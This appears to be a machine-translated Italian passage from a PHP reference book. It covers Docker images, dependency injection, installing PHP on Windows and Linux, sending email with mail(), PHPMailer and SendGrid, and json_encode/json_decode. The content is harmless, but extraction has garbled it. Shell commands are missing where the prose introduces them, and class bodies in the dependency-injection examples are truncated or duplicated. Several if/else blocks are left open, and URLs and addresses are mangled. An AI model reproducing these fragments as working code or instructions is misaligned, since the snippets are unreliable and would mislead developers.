solitamente utilizzato per distribuire applicazioni web, quindi abbiamo bisogno di un server http per
andare con l'immagine. php:7.0-apache viene preinstallata con apache per rendere l'installazione
gratuita.
Dockerfile è usato per configurare l'immagine personalizzata che costruiremo con i codici
dell'applicazione web. Creare un nuovo file Dockerfile nella cartella principale del progetto e quindi
inserire i seguenti contenuti nello stesso
FROM php:7.0-apache
COPY /etc/php/php.ini /usr/local/etc/php/
COPY . /var/www/html/
EXPOSE 80
La prima riga è piuttosto semplice e viene utilizzata per descrivere quale immagine deve essere
utilizzata per costruire nuove immagini. Lo stesso potrebbe essere cambiato con qualsiasi altra
versione specifica di PHP dal registro.
La seconda riga è semplicemente caricare il file php.ini sulla nostra immagine. Puoi sempre
modificare quel file in un altro percorso di file personalizzato.
https://riptutorial.com/it/home 245
La terza riga copierà i codici nella directory corrente in /var/www/html che è la nostra webroot.
Ricorda /var/www/html all'interno dell'immagine.
Ignorando i file
In alcuni casi potrebbero esserci alcuni file che non si desidera su server come la configurazione
dell'ambiente ecc. Supponiamo di avere il nostro ambiente in .env . Ora per ignorare questo file,
possiamo semplicemente aggiungerlo a .dockerignore nella cartella principale del nostro
codebase.
Costruire l'immagine
Costruire l'immagine non è qualcosa di specifico per php , ma per costruire l'immagine che
abbiamo descritto sopra, possiamo semplicemente usare
Una volta che l'immagine è stata creata, puoi verificare lo stesso utilizzo
docker images
Una volta che avremo un'immagine pronta, possiamo iniziare e servire allo stesso modo. Per
creare un container dall'immagine, utilizzare
Nel comando sopra -p 80:80 inoltrerebbe la porta 80 del tuo server alla porta 80 del contenitore.
L'indicatore -d indica che il contenitore deve essere eseguito come processo in background. La
finale specifica quale immagine deve essere usata per costruire il contenitore.
docker ps
https://riptutorial.com/it/home 246
I registri sono molto importanti per eseguire il debug dell'applicazione. Per verificarne l'utilizzo
https://riptutorial.com/it/home 247
Capitolo 50: Iniezione di dipendenza
introduzione
Dipendenza iniezione (DI) è un termine di fantasia per "passare le cose in" . Tutto ciò che significa
veramente è passare le dipendenze di un oggetto tramite il costruttore e / o setter invece di crearli
dopo la creazione dell'oggetto all'interno dell'oggetto. L'iniezione di dipendenza potrebbe anche
riferirsi a contenitori di iniezione di dipendenza che automatizzano la costruzione e l'iniezione.
Examples
Costruttore di iniezione
Gli oggetti dipenderanno spesso da altri oggetti. Invece di creare la dipendenza nel costruttore, la
dipendenza deve essere passata al costruttore come parametro. Ciò garantisce che non vi sia un
accoppiamento stretto tra gli oggetti e consente di modificare la dipendenza dall'istanza della
classe. Questo ha un certo numero di vantaggi, tra cui rendere il codice più facile da leggere
rendendo esplicite le dipendenze, oltre a semplificare i test in quanto le dipendenze possono
essere sostituite e derise più facilmente.
interface Logger {
public function log(string $message);
}
class Component {
private $logger;
class Component {
private $logger;
L'utilizzo di new per creare nuovi oggetti nel costruttore indica che l'iniezione di dipendenza non è
stata utilizzata (o è stata utilizzata in modo incompleto) e che il codice è strettamente accoppiato.
È anche un segno che il codice è stato testato in modo incompleto o potrebbe avere test fragili
https://riptutorial.com/it/home 248
che fanno ipotesi errate sullo stato del programma.
Iniezione Setter
interface Logger {
public function log($message);
}
class Component {
private $logger;
private $databaseConnection;
Ciò è particolarmente interessante quando le funzionalità di base della classe non si basano sulla
dipendenza dal lavoro.
Qui, l' unica dipendenza necessaria è DatabaseConnection quindi è nel costruttore. La dipendenza
di Logger è facoltativa e quindi non ha bisogno di essere parte del costruttore, rendendo la classe
più facile da usare.
Notare che quando si usa l'iniezione setter, è meglio estendere la funzionalità piuttosto che
sostituirla. Quando si imposta una dipendenza, non c'è nulla che confermi che la dipendenza non
cambierà a un certo punto, il che potrebbe portare a risultati imprevisti. Ad esempio, un FileLogger
può essere impostato in un primo momento e quindi è possibile impostare un MailLogger . Questo
rompe l'incapsulamento e rende difficile trovare i registri, perché stiamo sostituendo la
dipendenza.
Per evitare ciò, dovremmo aggiungere una dipendenza con l'iniezione setter, in questo modo:
https://riptutorial.com/it/home 249
interface Logger {
public function log($message);
}
class Component {
private $loggers = array();
private $databaseConnection;
In questo modo, ogni volta che useremo la funzionalità di base, non si romperà nemmeno se non
è stata aggiunta alcuna dipendenza del logger e verrà utilizzato qualsiasi logger aggiunto anche
se potrebbe essere stato aggiunto un altro logger. Stiamo estendendo la funzionalità anziché
sostituirla .
L'implementazione esatta va ben oltre lo scopo di questo documento ma, in fondo, una DIC si
basa sull'uso della firma di una classe ...
namespace Documentation;
class Example
{
private $meaning;
https://riptutorial.com/it/home 250
... per istanziarlo automaticamente, affidandosi quasi sempre a un sistema di caricamento
automatico .
Se stai usando PHP in versione almeno 5.5 e vuoi ottenere un nome di una classe in un modo che viene mostrato
sopra, il modo corretto è il secondo approccio. In questo modo puoi rapidamente trovare gli usi della classe
utilizzando i moderni IDE, che ti aiuteranno molto con un potenziale refactoring. Non vuoi fare affidamento su stringhe
regolari.
Invece, impostiamo le regole nel contenitore, prima della creazione dell'oggetto, che indica come
devono essere istanziati tipi specifici se necessario.
Se definiamo regole su come deve essere gestito il tipo specifico, possiamo ottenere un controllo
preciso su quali tipi sono condivisi, istanziati o creati da una fabbrica.
https://riptutorial.com/it/home 251
Capitolo 51: Installazione di un ambiente PHP
su Windows
Osservazioni
I servizi HTTP normalmente vengono eseguiti sulla porta 80, ma se si dispone di un'applicazione
installata come Skype che utilizza anche la porta 80, non verrà avviata. In tal caso è necessario
modificare la sua porta o la porta dell'applicazione in conflitto. Al termine, riavviare il servizio
HTTP.
Examples
Scarica e installa XAMPP
Cos'è XAMPP?
XAMPP è l'ambiente di sviluppo PHP più popolare. XAMPP è una distribuzione Apache
completamente gratuita, open source e facile da installare contenente MariaDB, PHP e Perl.
• Programma di installazione (probabilmente il .exe format il modo più semplice per installare
XAMPP)
• ZIP (per puristi: XAMPP come ordinario archivio ZIP .zip format )
• 7zip: (per puristi con larghezza di banda ridotta: XAMPP come archivio di .7zip format 7zip
.7zip format )
https://riptutorial.com/it/home 252
Installa con l'installatore fornito
1. Esegui il programma di installazione del server XAMPP facendo doppio clic sul file .exe
scaricato.
Nota: se si sceglie una directory root C:\ come destinazione, non è necessario avviare
setup_xampp.bat .
Post-Installazione
Usa il "Pannello di controllo XAMPP" per attività aggiuntive, come l'avvio / arresto di Apache,
MySQL, FileZilla e Mercury o l'installazione di questi come servizi.
http://localhost/
http://127.0.0.1/
https://riptutorial.com/it/home 253
https://riptutorial.com/it/home 254
• WampServer (32 bit) 3
Fornire attualmente:
• Apache: 2.4.18
• MySQL: 5.7.11
• PHP: 5.6.19 e 7.0.4
Una volta fatto, puoi avviare WampServer. Quindi inizia nella barra delle applicazioni (barra delle
applicazioni), inizialmente di colore rosso e diventa verde quando il server è attivo.
È possibile accedere a un browser e digitare localhost o 127.0.0.1 per ottenere la pagina indice
di WAMP. Puoi lavorare su PHP localmente da ora memorizzando i file in
<PATH_TO_WAMP>/www/<php_or_html_file> e controllare il risultato su
http://localhost/<php_or_html_file_name>
Prima di tutto è necessario che IIS ( Internet Information Services ) sia installato e in esecuzione
sul proprio computer; IIS non è disponibile per impostazione predefinita, devi aggiungere la
caratteristica dal Pannello di controllo -> Programmi -> Caratteristiche di Windows.
Opzionalmente è possibile installare PHP Manager per IIS che è di grande aiuto per impostare il
file ini e tracciare il registro degli errori (non funziona su Windows 10).
Ricordarsi di impostare index.php come uno dei documenti predefiniti per IIS.
https://riptutorial.com/it/home 255
Se hai seguito la guida all'installazione ora sei pronto per testare PHP.
Proprio come Linux, IIS ha una struttura di directory sul server, la radice di questo albero è
C:\inetpub\wwwroot\ , ecco il punto di ingresso per tutti i tuoi file pubblici e script PHP.
Ora usa il tuo editor preferito, o solo il Blocco note di Windows, e scrivi quanto segue:
<?php
header('Content-Type: text/html; charset=UTF-8');
echo '<html><head><title>Hello World</title></head><body>Hello world!</body></html>';
Quindi apri il tuo nuovo sito web usando il tuo browser su questo indirizzo: http:
//localhost/index.php
https://riptutorial.com/it/home 256
Capitolo 52: Installazione su ambienti Linux /
Unix
Examples
Installazione da riga di comando usando APT per PHP 7
Questo installerà solo PHP. Se desideri pubblicare un file PHP sul Web dovrai anche
installare un server web come Apache , Nginx o utilizzare il web server di PHP
integrato ( versione php 5.4+ ).
Se sei in una versione di Ubuntu sotto 16.04 e vuoi usare comunque PHP 7, puoi
aggiungere il repository PPA di Ondrej facendo: sudo add-apt-repository ppa:ondrej/php
php --version
Utilizzare il comando yum per gestire i pacchetti nei sistemi operativi basati su Enterprise Linux:
Questo installa un'installazione minima di PHP, incluse alcune funzionalità comuni. Se hai bisogno
https://riptutorial.com/it/home 257
di moduli aggiuntivi, dovrai installarli separatamente. Ancora una volta, puoi usare yum per cercare
questi pacchetti:
Esempio di output:
php-bcmath.x86_64 : A module for PHP applications for using the bcmath library
php-cli.x86_64 : Command-line interface for PHP
php-common.x86_64 : Common files for PHP
php-dba.x86_64 : A database abstraction layer module for PHP applications
php-devel.x86_64 : Files needed for building PHP extensions
php-embedded.x86_64 : PHP library for embedding in applications
php-enchant.x86_64 : Human Language and Character Encoding Support
php-gd.x86_64 : A module for PHP applications for using the gd graphics library
php-imap.x86_64 : A module for PHP applications that use IMAP
Le distribuzioni Linux aziendali sono sempre state conservative con gli aggiornamenti e in genere
non si aggiornano oltre la release point con cui sono state distribuite. Un certo numero di
repository di terze parti fornisce versioni correnti di PHP:
• IUS
• Remi Colette
• Webtatic
IUS e Webtatic forniscono pacchetti di sostituzione con nomi diversi (ad esempio php56u o php56w
per installare PHP 5.6) mentre il repository di Remi fornisce aggiornamenti sul posto utilizzando gli
stessi nomi dei pacchetti di sistema.
Di seguito sono riportate le istruzioni per l'installazione di PHP 7.0 dal repository di Remi. Questo
è l'esempio più semplice, in quanto la disinstallazione dei pacchetti di sistema non è richiesta.
https://riptutorial.com/it/home 258
Capitolo 53: Invio di email
Parametri
Parametro Dettagli
Osservazioni
L'e-mail che sto inviando tramite il mio script non arriva mai. Cosa dovrei fare?
• Il comando mail() configurato correttamente sul tuo server ? (Se si è in hosting condiviso,
non è possibile modificare nulla qui.)
• Hai controllato l'indirizzo "da:" che hai utilizzato per i possibili messaggi "restituiti al
mittente"? È anche possibile impostare un indirizzo di rimbalzo separato per i messaggi di
errore.
L'e-mail che sto inviando viene filtrata come spam. Cosa dovrei fare?
• L'indirizzo del mittente ("Da") appartiene a un dominio che viene eseguito sul server da cui si
invia l'e-mail? Altrimenti, cambialo.
Non utilizzare mai indirizzi mittente come [email protected] . Utilizza reply-to se hai bisogno di
risposte per arrivare a un indirizzo diverso.
• Il tuo server è su una lista nera? Questa è una possibilità quando sei in hosting condiviso
quando i vicini si comportano male. La maggior parte dei provider di blacklist, come
https://riptutorial.com/it/home 259
Spamhaus , ha strumenti che ti permettono di cercare l'IP del tuo server. Esistono anche
strumenti di terze parti come MX Toolbox.
• Alcune installazioni di PHP richiedono l'impostazione di un quinto parametro per mail () per
aggiungere un indirizzo mittente. Guarda se questo potrebbe essere il tuo caso.
• Se tutto il resto fallisce, prendi in considerazione l'uso di email come un servizio come
Mailgun , SparkPost , Amazon SES , Mailjet , SendinBlue o SendGrid , solo per nominarne
alcuni. Tutti hanno API che possono essere chiamate usando PHP.
Examples
Invio di e-mail - Informazioni di base, maggiori dettagli e un esempio completo
L'invio di posta in PHP può essere semplice come chiamare la funzione built-in mail() . mail()
richiede fino a cinque parametri, ma i primi tre sono tutto ciò che è necessario per inviare un
messaggio di posta elettronica (sebbene i quattro parametri siano comunemente usati come verrà
dimostrato di seguito). I primi tre parametri sono:
Il semplice esempio di cui sopra funziona bene in circostanze limitate come l'hardcoding di un
avviso e-mail per un sistema interno. Tuttavia, è normale collocare i dati passati come parametri
per mail() nelle variabili per rendere il codice più pulito e più facile da gestire (ad esempio,
costruire dinamicamente una e-mail dall'invio di un modulo).
Inoltre, mail() accetta un quarto parametro che ti consente di avere intestazioni di posta
aggiuntive inviate con la tua email. Queste intestazioni possono consentire di impostare:
https://riptutorial.com/it/home 260
$subject = 'Email Subject'; // Could also be $subject = $_POST['subject'];
$message = 'This is the email message body'; // Could also be $message = $_POST['message'];
$headers = implode("\r\n", [
'From: John Conde <[email protected]>',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION
]);
Il quinto parametro opzionale può essere utilizzato per passare altri flag come opzioni della riga di
comando al programma configurato per essere utilizzato durante l'invio di posta, come definito
dall'impostazione di configurazione sendmail_path . Ad esempio, questo può essere utilizzato per
impostare l'indirizzo del mittente della busta quando si utilizza sendmail / postfix con l'opzione -f
sendmail.
$fifth = '[email protected]';
Anche se l'uso di mail() può essere abbastanza affidabile, non è assolutamente garantito che
verrà inviata un'e- mail() quando viene chiamato mail() . Per vedere se c'è un potenziale errore
durante l'invio della tua email, dovresti acquisire il valore di ritorno da mail() . TRUE sarà restituito
se la posta è stata accettata con successo per la consegna. Altrimenti, riceverai FALSE .
NOTA : Sebbene mail() possa restituire TRUE , ciò non significa che l'email è stata inviata o che
l'email sarà ricevuta dal destinatario. Indica solo che la posta è stata consegnata con successo al
sistema di posta del tuo sistema.
Se desideri inviare un'email HTML, non c'è molto più lavoro che devi fare. Devi:
$to = '[email protected]';
$subject = 'Email Subject';
$message = '<html><body>This is the email message body</body></html>';
$headers = implode("\r\n", [
'From: John Conde <[email protected]>',
'Reply-To: [email protected]',
'MIME-Version: 1.0',
'Content-Type: text/html; charset=ISO-8859-1',
'X-Mailer: PHP/' . PHP_VERSION
]);
<?php
https://riptutorial.com/it/home 261
error_reporting(-1);
ini_set('display_errors', 'On');
set_error_handler("var_dump");
// Special mail settings that can make mail less likely to be considered spam
// and offers logging in case of technical difficulties.
ini_set("mail.log", "/tmp/mail.log");
ini_set("mail.add_x_header", TRUE);
$to = '[email protected]';
$subject = 'Email Subject';
$message = 'This is the email message body';
$headers = implode("\r\n", [
'From: [email protected]',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION
]);
if ($result) {
}
else {
Guarda anche
Documentazione ufficiale
• mail()
• Configurazione PHP mail()
https://riptutorial.com/it/home 262
Mailers alternativi
• PHPMailer
• SwiftMailer
• PEAR :: posta
Email Server
Argomenti correlati
<?php
$to = '[email protected]';
$subject = 'Sending an HTML email using mail() in PHP';
$message = '<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
italic.</i></p></body></html>';
$headers = implode("\r\n", [
"From: John Conde <[email protected]>",
"Reply-To: [email protected]",
"X-Mailer: PHP/" . PHP_VERSION,
"MIME-Version: 1.0",
"Content-Type: text/html; charset=UTF-8"
]);
Questo non è molto diverso dall'invio di un messaggio di posta elettronica in chiaro . Le principali
differenze chiave essendo il corpo del contenuto sono strutturate come un documento HTML e ci
sono due intestazioni aggiuntive che devono essere incluse in modo che il client di posta
elettronica sappia che il messaggio è indirizzato come HTML. Loro sono:
<?php
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email using PHPMailer.";
https://riptutorial.com/it/home 263
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
<?php
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->addAddress("[email protected]", "Recepient Name");
$mail->addAddress("[email protected]");
$mail->addCC("[email protected]");
$mail->addBCC("[email protected]");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email using PHPMailer.";
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
<?php
$to = '[email protected]';
$subject = 'Email Subject';
$message = 'This is the email message body';
$attachment = '/path/to/your/file.pdf';
$content = file_get_contents($attachment);
https://riptutorial.com/it/home 264
$content = chunk_split(base64_encode($content));
// headers
$headers = implode("\r\n", [
'From: [email protected]',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION,
'MIME-Version: 1.0',
// boundary parameter required, must be enclosed by quotes
'Content-Type: multipart/mixed; boundary="' . $boundary . '"',
"Content-Transfer-Encoding: 7bit",
"This is a MIME encoded message." // message for restricted transports
]);
if ($result) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
Content-Transfer-codifiche
https://riptutorial.com/it/home 265
Le codifiche disponibili sono 7bit , 8bit , binary , quoted-stampabile , base64 , token ietf e x-token .
Di queste codifiche, quando un'intestazione ha un Content-Type multiparte , la Content-Transfer-
Encoding non deve avere alcun altro valore oltre a 7bit , 8bit o binary come indicato nella RFC
2045, sezione 6.4.
Il nostro esempio sceglie la codifica a 7 bit, che rappresenta i caratteri US-ASCII, per l'intestazione
multipart perché, come notato nella sezione 6 dell'RFC 2045, alcuni protocolli supportano solo
questa codifica. I dati entro i limiti possono quindi essere codificati su base part-by-part (RFC
2046, sezione 5.1). Questo esempio fa esattamente questo. La prima parte, che contiene il
messaggio text / plain, è definita come 8bit poiché potrebbe essere necessario supportare
caratteri aggiuntivi. In questo caso, viene utilizzato il set di caratteri Latin1 (iso-8859-1). La
seconda parte è l'allegato e quindi è definita come un'applicazione codificata in base64 / octet-
stream. Poiché base64 trasforma dati arbitrari nell'intervallo 7bit, può essere inviato su trasporti
con restrizioni (RFC 2045, sezione 6.2).
<?php
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->addAddress("[email protected]", "Recepient Name");
$mail->addAddress("[email protected]");
$mail->addCC("[email protected]");
$mail->addBCC("[email protected]");
$mail->Subject = "Subject Text";
$mail->isHTML(true);
$mail->Body = "<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
italic.</i></p></body></html>";
$mail->AltBody = "This paragraph is not bold.\n\nThis text is not italic.";
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
<?php
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
https://riptutorial.com/it/home 266
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email with an attachment using PHPMailer.";
// Add Second Attachment, run-time created. ie: CSV to be open with Excel
$csvHeader = "header1,header2,header3";
$csvData = "row1col1,row1col2,row1col3\nrow2col1,row2col2,row2col3";
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
<?php
$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setText("This is a sample basic text email using ");
$sendgrid->send($email);
<?php
$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setHtml("<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
italic.</i></p></body></html>");
https://riptutorial.com/it/home 267
$personalization->addTo($email);
$email = new Email("RecepientCC Name", "[email protected]");
$personalization->addCc($email);
$email = new Email("RecepientBCC Name", "[email protected]");
$personalization->addBcc($email);
$email->addPersonalization($personalization);
$sendgrid->send($email);
<?php
$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setText("This is a sample basic text email using ");
$attachment = '/path/to/your/file.pdf';
$content = file_get_contents($attachment);
$content = chunk_split(base64_encode($content));
$sendgrid->send($email);
https://riptutorial.com/it/home 268
Capitolo 54: JSON
introduzione
JSON ( JavaScript Object Notation ) è un modo indipendente dalla piattaforma e dal linguaggio
per serializzare gli oggetti in testo semplice. Poiché viene spesso utilizzato su Web e così anche
per PHP, esiste un'estensione di base per lavorare con JSON in PHP.
Sintassi
• string json_encode (mixed $ value [, int $ options = 0 [, int $ depth = 512]])
• mixed json_decode (stringa $ json [, bool $ assoc = false [, int $ depth = 512 [, int $ options
= 0]]])
Parametri
Parametro Dettagli
json_encode -
Il valore codificato. Può essere di qualsiasi tipo tranne una risorsa. Tutti i dati
valore
di stringa devono essere codificati in UTF-8.
json_decode -
https://riptutorial.com/it/home 269
Osservazioni
• la gestione json_decode di JSON non valido è molto instabile, ed è molto difficile
determinare in modo affidabile se la decodifica ha avuto successo, json_decode restituisce
null per input non validi, anche se null è anche un oggetto perfettamente valido per JSON da
decodificare. Per evitare tali problemi, devi sempre chiamare json_last_error ogni volta
che lo usi.
Examples
Decodifica una stringa JSON
La funzione json_decode() accetta una stringa con codifica JSON come suo primo parametro e la
analizza in una variabile PHP.
// Returns an object (The top level item in the JSON string is a JSON dictionary)
$json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}';
$object = json_decode($json_string);
printf('Hello %s, You are %s years old.', $object->name, $object->age);
#> Hello Jeff, You are 20 years old.
// Returns an array (The top level item in the JSON string is a JSON array)
$json_string = '["Jeff", 20, true, ["red", "blue"]]';
$array = json_decode($json_string);
printf('Hello %s, You are %s years old.', $array[0], $array[1]);
Utilizzare var_dump() per visualizzare i tipi e i valori di ogni proprietà sull'oggetto decodificato in
precedenza.
https://riptutorial.com/it/home 270
Nota: i tipi di variabile in JSON sono stati convertiti nel loro equivalente PHP.
Per restituire un array associativo per oggetti JSON invece di restituire un oggetto, passare true
come secondo parametro a json_decode() .
$json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}';
$array = json_decode($json_string, true); // Note the second parameter
var_dump($array);
array(4) {
["name"] => string(4) "Jeff"
["age"] => int(20)
["active"] => bool(true)
["colors"] =>
array(2) {
[0] => string(3) "red"
[1] => string(4) "blue"
}
}
Il secondo parametro ( $assoc ) non ha alcun effetto se la variabile da restituire non è un oggetto.
Nota: se si utilizza il parametro $assoc , si perde la distinzione tra una matrice vuota e un oggetto
vuoto. Ciò significa che l'esecuzione di json_encode() sull'output decodificato risulterà in una
diversa struttura JSON.
Se la stringa JSON ha una "profondità" superiore a 512 elementi ( 20 elementi nelle versioni
precedenti alla 5.2.3 o 128 nella versione 5.2.3 ) in ricorsione, la funzione json_decode() restituisce
NULL . Nelle versioni 5.3 o successive, questo limite può essere controllato usando il terzo
parametro ( $depth ), come discusso di seguito.
Secondo il manuale:
Ciò significa che, ad esempio, una stringa semplice sarà considerata come un oggetto JSON
valido in PHP:
https://riptutorial.com/it/home 271
Produzione:
Ma le stringhe semplici, non in un array o in un oggetto, non fanno parte dello standard RFC 4627
. Di conseguenza, tali controllori online come JSLint , JSON Formatter & Validator (in modalità
RFC 4627) ti daranno un errore.
Esiste un terzo parametro $depth per la profondità della ricorsione (il valore predefinito è 512 ), che
significa la quantità di oggetti nidificati all'interno dell'oggetto originale da decodificare.
Le varianti non minuscole non valide dei letterali true, false e null non sono più
accettate come input valido.
var_dump(json_decode('tRue'), json_last_error_msg());
var_dump(json_decode('tRUe'), json_last_error_msg());
var_dump(json_decode('tRUE'), json_last_error_msg());
var_dump(json_decode('TRUe'), json_last_error_msg());
var_dump(json_decode('TRUE'), json_last_error_msg());
var_dump(json_decode('true'), json_last_error_msg());
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
E dopo:
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
https://riptutorial.com/it/home 272
NULL
string(12) "Syntax error"
bool(true)
string(8) "No error"
Si noti che json_decode() restituirà NULL se la stringa non può essere convertita.
$person = json_decode($json);
echo $person->name; // Notice: Trying to get property of non-object: returns null
echo json_last_error();
# 4 (JSON_ERROR_SYNTAX)
echo json_last_error_msg();
# unexpected character
Non è sicuro affidarsi solo al valore restituito NULL per rilevare errori. Ad esempio, se la stringa
JSON non contiene altro che "null" , json_decode() restituirà null , anche se non si è verificato
alcun errore.
La funzione json_encode convertirà un array PHP (o, dal momento che PHP 5.4, un oggetto che
implementa l'interfaccia JsonSerializable ) in una stringa con codifica JSON. Restituisce una
stringa con codifica JSON in caso di successo o FALSE in caso di errore.
$array = [
'name' => 'Jeff',
'age' => 20,
'active' => true,
'colors' => ['red', 'blue'],
'values' => [0=>'foo', 3=>'bar'],
];
Durante la codifica, i tipi di dati PHP string, integer e boolean vengono convertiti nel loro
equivalente JSON. Gli array associativi sono codificati come oggetti JSON e, quando vengono
chiamati con argomenti predefiniti, gli array indicizzati sono codificati come array JSON. (A meno
che le chiavi dell'array non siano una sequenza numerica continua a partire da 0, nel qual caso
l'array sarà codificato come oggetto JSON.)
echo json_encode($array);
Produzione:
{"name":"Jeff","age":20,"active":true,"colors":["red","blue"],"values":{"0":"foo","3":"bar"}}
https://riptutorial.com/it/home 273
argomenti
Dal PHP 5.3, il secondo argomento di json_encode è una maschera di bit che può essere uno o più
dei seguenti.
Come con qualsiasi maschera di bit, possono essere combinati con l'operatore OR binario | .
JSON_FORCE_OBJECT
Produzione:
["Joel",23,true,["red","blue"]]
{"0":"Joel","1":23,"2":true,"3":{"0":"red","1":"blue"}}
Produzione:
{"tag":"<>","amp":"&","apos":"'","quot":"\""}
{"tag":"\u003C\u003E","amp":"\u0026","apos":"\u0027","quot":"\u0022"}
https://riptutorial.com/it/home 274
JSON_NUMERIC_CHECK
Produzione:
["23452",23452]
[23452,23452]
JSON_PRETTY_PRINT
$array = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4];
echo json_encode($array);
echo json_encode($array, JSON_PRETTY_PRINT);
Produzione:
{"a":1,"b":2,"c":3,"d":4}
{
"a": 1,
"b": 2,
"c": 3,
"d": 4
}
JSON_UNESCAPED_SLASHES
Produzione:
{"filename":"example.txt","path":"\/full\/path\/to\/file"}
{"filename":"example.txt","path":"/full/path/to/file"}
JSON_UNESCAPED_UNICODE
Include i caratteri con codifica UTF8 nell'output anziché le stringhe con codifica \u
https://riptutorial.com/it/home 275
$blues = ["english"=>"blue", "norwegian"=>"blå", "german"=>"blau"];
echo json_encode($blues);
echo json_encode($blues, JSON_UNESCAPED_UNICODE);
Produzione:
{"english":"blue","norwegian":"bl\u00e5","german":"blau"}
{"english":"blue","norwegian":"blå","german":"blau"}
JSON_PARTIAL_OUTPUT_ON_ERROR
Produzione:
{"file":null,"name":"foo.txt"}
JSON_PRESERVE_ZERO_FRACTION
Produzione:
[5,5.5]
[5.0,5.5]
JSON_UNESCAPED_LINE_TERMINATORS
https://riptutorial.com/it/home 276
echo json_encode($array, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_LINE_TERMINATORS);
Produzione:
{"line":"\u2028","paragraph":"\u2029"}
{"line":" ","paragraph":" "}
Quando json_encode o json_decode non riesce ad analizzare la stringa fornita, restituirà false . PHP
non genererà alcun errore o avvertimento quando ciò accadrà, l'utente dovrà utilizzare le funzioni
json_last_error () e json_last_error_msg () per verificare se si è verificato un errore e agire di
conseguenza nella propria applicazione (eseguirne il debug, mostrare un messaggio di errore ,
eccetera.).
L'esempio seguente mostra un errore comune quando si lavora con JSON, un errore di decodifica
/ codifica di una stringa JSON (a causa del passaggio di una stringa errata con codifica UTF-8, ad
esempio) .
if (json_last_error() != JSON_ERROR_NONE) {
printf("JSON Error: %s", json_last_error_msg());
}
json_last_error_msg
json_last_error_msg() restituisce un messaggio leggibile dall'ultimo errore che si è verificato
durante il tentativo di codificare / decodificare una stringa.
• Questa funzione restituirà sempre una stringa , anche se non si è verificato alcun errore.
La stringa predefinita non di errore è No Error
• Restituirà false se si è verificato un altro errore (sconosciuto)
• Attento quando si usa questo nei loop, poiché json_last_error_msg verrà sovrascritto su ogni
iterazione.
Dovresti usare questa funzione solo per visualizzare il messaggio, non per testarlo nelle istruzioni
di controllo.
// Don't do this:
if (json_last_error_msg()){} // always true (it's a string)
if (json_last_error_msg() != "No Error"){} // Bad practice
https://riptutorial.com/it/home 277
}
Questa funzione non esiste prima di PHP 5.5. Ecco una implementazione di polyfill:
if (!function_exists('json_last_error_msg')) {
function json_last_error_msg() {
static $ERRORS = array(
JSON_ERROR_NONE => 'No error',
JSON_ERROR_DEPTH => 'Maximum stack depth exceeded',
JSON_ERROR_STATE_MISMATCH => 'State mismatch (invalid or malformed JSON)',
JSON_ERROR_CTRL_CHAR => 'Control character error, possibly incorrectly encoded',
JSON_ERROR_SYNTAX => 'Syntax error',
JSON_ERROR_UTF8 => 'Malformed UTF-8 characters, possibly incorrectly encoded'
);
$error = json_last_error();
return isset($ERRORS[$error]) ? $ERRORS[$error] : 'Unknown error';
}
}
json_last_error
json_last_error() restituisce un intero mappato a una delle costanti predefinite fornite da PHP.
Costante Senso
https://riptutorial.com/it/home 278
Quando si creano API REST, potrebbe essere necessario ridurre le informazioni di un oggetto da
passare all'applicazione client. A tale scopo, questo esempio illustra come utilizzare l'interfaccia
JsonSerialiazble .
Ora nel controller dell'applicazione o nello script, quando si passa l'oggetto User a json_encode() si
otterrà la matrice restituita con json del metodo jsonSerialize() invece dell'intero oggetto.
